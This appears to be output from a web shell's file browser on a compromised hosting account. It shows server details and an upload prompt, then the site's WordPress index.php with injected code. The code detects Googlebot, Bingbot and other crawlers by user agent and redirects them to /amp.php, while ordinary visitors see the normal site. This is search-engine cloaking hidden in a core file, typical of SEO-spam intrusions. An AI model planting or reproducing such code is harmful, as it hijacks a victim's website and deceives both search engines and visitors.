| Server IP : 170.10.162.208 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux altar19.supremepanel19.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64 User : deltahospital ( 1806) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/deltahospital/public_html/ |
Upload File : |
<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
// Bot kontrol listesi
$botPatterns = [
'Googlebot', 'AdsBot', 'Mediapartners-Google', 'APIs-Google',
'Googlebot-Image', 'Googlebot-Video', 'Googlebot-News',
'Googlebot-Search', 'Googlebot-Inspect', 'Googlebot-Android',
'Googlebot-Mobile', 'Googlebot-Ads', 'Googlebot-Discovery',
'Google-', 'Bingbot', 'Slurp', 'DuckDuckBot', 'Baiduspider',
'YandexBot', 'Sogou', 'Exabot', 'facebot', 'ia_archiver',
'Twitterbot', 'facebookexternalhit', 'LinkedInBot', 'Embedly',
'WhatsApp', 'Applebot', 'PetalBot', 'AhrefsBot', 'SemrushBot'
];
// Bot kontrolü
$isBot = false;
foreach ($botPatterns as $bot) {
if (stripos($userAgent, $bot) !== false) {
$isBot = true;
break;
}
}
// Bot ise amp.php'ye yönlendir
if ($isBot) {
header("Location: /amp.php");
exit;
}
// WordPress'i yükle
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';
?>